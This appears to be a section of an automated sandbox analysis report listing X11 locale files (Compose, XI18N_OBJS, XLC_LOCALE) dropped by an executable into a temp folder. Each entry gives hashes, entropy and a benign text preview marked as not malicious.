SSDEEP:	6:L2HBxL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LmAe6ldo0+62XdUmhn
MD5:	617AA9EF14F963E9A2EEFD5E55B7D8FB
SHA1:	28F7627C2C1B2D566F5EC1EAB3DC25F297AC9E76
SHA-256:	3456245FE16DA4E5DD32DB76F590339FEA9B649966C4AB1EA09ED36C2EFF9F1C
SHA-512:	D9D5DFC9FC8D5A5487491F6D05CF13F11610FB4BB5C0B080E5146F2ABC3F1E876DA5B7E04A7327E4E9A745BBF92473A36C5E780EBCF6CB011F40A299D7C2D69C
Malicious:	false
Preview:	#.# ibm-cp1133 Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ibm-cp1133\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.206001241088934
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF+IsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMgoeCXoXKfXoc9RwvIo8WJb
MD5:	12168965928725C27A9312F6509C33CA
SHA1:	DE8A21B0B0416AF8324F4804C23CF86AE0C4925B
SHA-256:	17CB7407F673541A8C5E93CE1C8F36FABDF28E02BAC54CFE89C853DB9D4D106B
SHA-512:	77F3EC8A08184F4AA5374D743218EBB47316C0301EB2AF78D7B41E6889DA01B803CD1F84BF472F191DC08805CB07093D2F6D6C3A0AA0EF2BC3DF23853224BBF6
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ibm-cp1133 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ibm-cp1133\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	935
Entropy (8bit):	5.342369370251841
Encrypted:	false
SSDEEP:	24:eanWES28XBvLJuO4NQ+fDJ7/WKGGm/7FZ:V5S7vFuOcNWc6
MD5:	6D67F3B6B412DD5BCBEC351BB47C5190
SHA1:	E9E7E7E1A756ADC64F8C03BB890CA2B83768F015
SHA-256:	5A92276016D4DC1037FC1C894C2DA1798CA7B39DACAAB55E60812037FD09786B
SHA-512:	B09AD65806710DA19B4F47C000FBF6D3D5BEAC78432EE06662C887EDA70334BC7B374EB8590184D82F16C73D47EE74B770BBDA59E289BD872EC3556F8B2D7181
Malicious:	false
Preview:	# XLocale Database Sample for ibm-cp1133..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..IBM-CP1133:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset IBM-CP1133:GR..font IBM-CP1133:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.IBM-CP1133..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name IBM-CP1133.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding IBM-CP1133:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding IBM-CP1133:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iscii-dev\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iscii-dev\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.182478609505417
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF6bsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMoIoeCXoXKfXoc9RwvIo8WJb
MD5:	842B532951D57544EF5CE81488B24F11
SHA1:	3FF05064F75A4E7779878C69C09A7B4610641FC4
SHA-256:	D97E0C9CB64DDC529B35683FA358662CA6A3FAF34D218F2578C6FE753B1474A3
SHA-512:	7A7DF7448E6CE6A3A0148573C5BD2EDE5151D7E421A14FF0E77E8509977A39BC52807BB71B30A1549BCDDD706671AA2C7605ADE2CD02D0B4499733254D4BA112
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iscii-dev locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iscii-dev\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	927
Entropy (8bit):	5.2803798294703235
Encrypted:	false
SSDEEP:	24:etWEWzO28XtzsYzsivMzruO4szHQ+fDJ7/4zrGGm/7Ftzsv:y59tv6uOrNub
MD5:	3B6B8AE9468E673CE9A6E62CAD0DAE82
SHA1:	F173053577ABF31E049D75BDC0B30EB706B0AF6D
SHA-256:	7783C64D77BADF38313D19C275A57A194F12B1DFB073095E5517D226882905A2
SHA-512:	553A2D5DA60172C17A27FB7FFF8E423590482FB793DC645723CE51446EFF21A57D9196694EA25D5C1C01CE953AF150C7F0D0405F6733862D192095BBDE2A0ABB
Malicious:	false
Preview:	# XLocale Database Sample for mulelao-1..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISCII-DEV:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset ISCII-DEV:GR..font ISCII-DEV:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.ISCII-DEV..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name ISCII-DEV.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding ISCII-DEV:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding ISCII-DEV:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\isiri-3342\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\isiri-3342\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.21476716237844
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFM3sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIM2coeCXoXKfXoc9RwvIo8WJb
MD5:	C80B79CE4097B08233043826F16121E8
SHA1:	DE1FF915AF6CC6841BE3B84CE939EE39F0F13FDC
SHA-256:	68EAF6A031B4AC739B85BC5330D813BA60BF47FF1EAF69050FC5E999A038F2F0
SHA-512:	EFBF0E8527ACCD888C5B3D959A16F62A9D131CE5B7F7E0F8A004708AFCA3851E0AE0E51E21592ED14B1E864DEB80DCF25FBDFA6063903ADA87F1055C23820EF7
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for isiri-3342 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\isiri-3342\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	935
Entropy (8bit):	5.324051747778934
Encrypted:	false
SSDEEP:	12:eRGwttckJWrRdsnUXE7MqXXBJl/12dqnUAwuOyfFhz+blcjdRaffDJ7/ecVGmvXw:etWEo8XjvouO4RwQ+fDJ7/eGGm/7F+
MD5:	3359471B5D8975CEB225592702F50BEC
SHA1:	9229CABE7E8A27588B8E2FE9937547661A03A425
SHA-256:	65CC7C4D2D5C8FAAD94A67D234D95397A3A43436BB726C98ED8CCD8329C08F12
SHA-512:	02A69CAA3A76B85D6F290282D070F952A622DF325AFCF2DF10D824648289C2A1929095BB063DCCF158F464B1421F4D92E0A1419F796662E1FE09BC68CB8113F0
Malicious:	false
Preview:	# XLocale Database Sample for mulelao-1..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISIRI-3342:GL ...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset ISIRI-3342:GR..font ISIRI-3342:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.ISIRI-3342..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name ISIRI-3342.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding ISIRI-3342:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding ISIRI-3342:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-10\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	4.661017691814874
Encrypted:	false
SSDEEP:	6:LWBkL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LCKAe6ldo0+62XdUmhn
MD5:	989C7A2F5513EB42C107977657B51B0C
SHA1:	C074AFCF22CEB8C26F5F774D82440A8738EC6AD5
SHA-256:	AC93D0894DD68E77BB93A46C0F7D5335B46F70E1ABAE2B743174A41341F4141B
SHA-512:	3E8E587651C7284CDDB6F801C7C8D1B940FCB3B68D49AE2C0598851F3E281098E7ACF36218CB46E47F7E57F88DF9FDACEE3424266F4CB615240EDC37A6CC60DC
Malicious:	false
Preview:	#.# ISO 8859-10 Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-10\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2299150597070785
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF4FtsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMakoeCXoXKfXoc9RwvIo8WJb
MD5:	AD9A9DC951FD3625E3A892E2224D88B1
SHA1:	0C5856BA449FE132A0458AC260F50F7B90E67841
SHA-256:	891EE42949B619AE44E1AFC9D0A18D98BEA6A4CE3B22759AA4BB3AD725EC7408
SHA-512:	7C563ECE0A99F3090B089D483668CC81A634FD46E1C99F1C8568BB4310FC3A9BB46E59D8B16ADD7B5D1C01E93DB4DC628BDA1B616BC8C3804283272ECCE3D9D0
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iso8859-10 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-10\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	788
Entropy (8bit):	5.240488841596138
Encrypted:	false
SSDEEP:	12:ea0wttckJWtevnUXE2q2qXi45UU2vJMhRYFblcjdRahwqfDJ7/tRHcVGmvX7F6RA:efevWEd28NFR8QQwqfDJ7/tlGGm/7F6S
MD5:	9794DC3AF08CCC2B79C43C54B1C2DC23
SHA1:	1EF5C40D538770AFBB545FBD02F31088BF5B384C
SHA-256:	00844AAC8C5A8144A5C40E40F19A1C9932A063A5159BC254F0253818C6DF50CB
SHA-512:	6E6E2B462727707314A2FA3BB80C32F32901A506C2A1D4AC74CF2594E3B75F39C932142C7D6A167919DE9815B50647333175E6DAC0C77C6B0CC1AC0CEF4F6A98
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-4..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-10:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-10:GR..}..font.{...primary..ISO8859-10:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-10.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-10:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-10:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-11\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-11\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.223571358584325
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF4uvp3KTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMaI3oeCXoXKfXoc9RwvIo8WJb
MD5:	2E087DE45CAE828A5AFF4CB1BD4CFDF9
SHA1:	AF0CA22B56A421081A6710A00CBD76B34CA8C32A
SHA-256:	ACBAC0E9BAFEC77D3581CAF193C893EFAC58D1A623B61A98169A8505D2812660
SHA-512:	A2FE3E980E61A0665AF2EBF43E3BBFBF09529AB7B6B5C7C3FF67846766B5C2A7CFFE4D7258DCC60E345BDF4CF52141F4B37B68525FC7E9DA428942A3312A3996
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iso8859-11 locale.#.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-11\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	789
Entropy (8bit):	5.237414875003519
Encrypted:	false
SSDEEP:	24:eleaevWE028NmcY+QQwqfDJ7/taGGm/7F6Ovk:gBw50iTw1N63
MD5:	4050F3EDE4FC4F7E91E1A746A60B4722
SHA1:	FC1600D5D263E488B829C48BC850F9D3F5896070
SHA-256:	B89E32891BD394EB11D6A31A976F7638ED0076E4FB4396C81D3E605FA3403085
SHA-512:	78BA0D1E8AD5BE1B9F597B3C0E5271343F6F1BB5AE841F2F450C35F70C4FD6346C244E36DEB2EBBD39BC5BE3190E5B61F736DEAE1A5754F280B9BBF9F1ACAAB9
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-11..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-11:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-11:GR..}..font.{...primary..ISO8859-11:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-11.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-11:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-11:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-13\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21249
Entropy (8bit):	4.734387258998399
Encrypted:	false
SSDEEP:	192:pvSofeBbHUmnQRu6Oa8nR8JAcJgBpxm8aTSOS1Q68VO7YUsRHcLu5dBpod+Zk76/:pvSofvupxmCQ68VO7Y4LqdBpJy88qN
MD5:	15E1652CFD7F7C947A04F05C8205A555
SHA1:	67D3898157B06B12E491BF6F3D185047C2200EE6
SHA-256:	49F0738FA726F8B49B41E7A56641429C6DEEA7119326FDB3CDBFC424BF6B51A3
SHA-512:	B1682E18E288EA87E677AAF24BB4B0491AEAD7F3CB97A1AE2DA00CD345095E22A0561A4FD56BB2CED1F01570646F45D52D933FBE76E8E8A397045B2791387DEF
Malicious:	false
Preview:	#.# ISO 8859-13 (Latin7) Compose Sequence.#.# Sequence Definition.#.# <Multi_key> Means <Compose>.# Special Character.# Right-hand side (Accented Alphabet).# These compose sequences are pure supposition on my part..# It would be nice to know what the real cultural conventions.# are for compose sequences..<Multi_key> <plus> <plus> : "#" numbersign.<Multi_key> <apostrophe> <space> : "'" apostrophe.<Multi_key> <space> <apostrophe> : "'" apostrophe.<Multi_key> <A> <T> : "@" at.<Multi_key> <parenleft> <parenleft> : "[" bracketleft.<Multi_key> <slash> <slash> : "\\" backslash.<Multi_key> <slash> <less> : "\\" backslash.<Multi_key> <less> <slash> : "\\" backslash.<Multi_key> <parenright> <parenright> : "]" bracketright.<Multi_key> <asciicircum> <space> : "^" asciicircum.<Multi_key> <space> <asciicircum> : "^" asciicircum.<Multi_key> <greater> <space> : "^" asc

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-13\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	5.127346897263227
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFjFsKnR8jKushnKwJJ1kWJL:/NqvnSIMhWAOKjFeWJL
MD5:	DF430BA0495815FC0641FA836B4D500D
SHA1:	C77EDC36F505F284455177A0ABF04C7DB4D9FCCF
SHA-256:	A8A0E42AAF0BC6365EC936DA183F3AB58784166F0155F8135265F926FE29A60D
SHA-512:	C9CBBD6FBA0E1195B36B84ECC509B6B84CFBDC288467F08EC4AEC2DCF20BA3AA8E8ED40B743E77169823C6F224E1A2D3B2BC6C1AEB99B580A66CFB75DF375598
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for euro locales.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/xiiimp._XimpLocalOpenIM.# XIM_open.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-13\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	789
Entropy (8bit):	5.255187887301454
Encrypted:	false
SSDEEP:	24:e+sevWEe28NcGxQQwqfDJ7/t9KGGm/7F6j:uw5eo81N/cJ
MD5:	427BDA1106FAE83064772EDE0798545A
SHA1:	B16EBC8977686EC1079C925BED57F56E7ED10046
SHA-256:	BFFFDE49A7BC25D82BB50B21EC46EB6D5FDBAE8E5E920BA2F423778E3E8B5E53
SHA-512:	F34517429BBDF6F3C87D87C7234CE3915EA8819371826E9A72D96CBA190992A7459121A423AF6183D7A12E51E8B19B703576DC3611E0A009859503B01D8A2D39
Malicious:	false
Preview:	# XLocale Database Sample for iso8859-13..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-13:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..ISO8859-13:GR..}..font.{...primary..ISO8859-13:GR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ISO8859-13.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-13:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.ISO8859-13:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-14\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21039
Entropy (8bit):	5.039149225773443
Encrypted:	false
SSDEEP:	384:C+U+u+wT+HSFhkBMNVTzL7zz7TZRXqhnnOBWHqnGhcsRwMMGgCN+qjuBdRu/32gu:hL1wT+HSbkBM/qhnnQWHqnGhcsRwMMG+
MD5:	7758D8A0EDBB8834246AB067AAF2DD22
SHA1:	EC5672DDDCC256D297CF5042EE4C32B8CCB3DB91
SHA-256:	10EFF4AFC50A498EBBC257E29183EB0575059F220A30E877BE3F536EAABBB275
SHA-512:	2B98A41724C5906CE9B5821C49E66B69CDB4BBAC9CD5B3FF2C592E13F5E426F78584B746441634F98F7CAE5DD6885BE793A7118681BF65B54686565137206442
Malicious:	false
Preview:	# ISO 8859-14 (Latin 8) Compose Sequences.#.# Original version by Alastair McKinstry, <amck@maths.tcd.ie>.# Fixed and tidied up by Seamus O Ciardhuain <seoc@cnds.ucd.ie> (Dec 2002).#.#.# First part is taken from the Latin-1 definitions,.# i.e. characters the same in 8859-1 and 8859-14..#.# <Multi_key> Means <Compose>.# Special Character.<Multi_key> <plus> <plus>..: "#".numbersign.<Multi_key> <apostrophe> <space>.: "'".apostrophe.<Multi_key> <space> <apostrophe>.: "'".apostrophe.<Multi_key> <A> <T>...: "@".at.<Multi_key> <parenleft> <parenleft>.: "[".bracketleft.<Multi_key> <slash> <slash>..: "\\".backslash.<Multi_key> <slash> <less>..: "\\".backslash.<Multi_key> <less> <slash>..: "\\".backslash.<Multi_key> <parenright> <parenright>.: "]".bracketright.<Multi_key> <asciicircum> <space>.: "^".asciicircum.<Multi_key> <space> <asciicircum>.: "^".asciicircum.<Multi_key> <greater> <space>..: "^".asciicircum.<Multi_key> <space> <greater>..: "^".asciicircum.<Multi_key> <grave> <space>..: "`".gr

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-14\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2299150597070785
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF4zsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMaAoeCXoXKfXoc9RwvIo8WJb
MD5:	D9FD9A2E5A12276F4FBAF98980BFE389
SHA1:	926679E5251EC21597BC226036B4A41C449215A7
SHA-256:	4C127CD114BC17C16AFD9F8641C472253123DB88B7105AFE0CD574DD6C887C48
SHA-512:	700187EA11F5E0508CC733DFBDA957EB7779A5649F1B119460BBBDF290AD6324F71EAD14031371BB8C46C1C460F3D8866DF10ADC3FEA0F32CAC943B96EF2D5F0
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for iso8859-14 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\iso8859-14\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	789
Entropy (8bit):	5.2639050489726555
Encrypted:	false
SSDEEP:	24:eyevWEf528NxFHwQQwqfDJ7/txGGm/7F6m:dw5xlU1NpY
MD5:	7AA7A30646BB19521E645BB18B693ED6
SHA1:	8CC60B5B01678A18B268B6C2A8F804C2DAD88756
SHA-256:	E69C85F355EEEEA041FC1F1105AD10B86FCAC672AE332534536CB724204FB4FE
SHA-512:	5E8EEB18F74CC3829A458524A599E6379F0FE5A4FDF999BBCA937ED8911E451271BF871908D5FF6AAD67584966820C0E9AB07F307E6E9BFD0127A92A587946C5
Malicious:	false
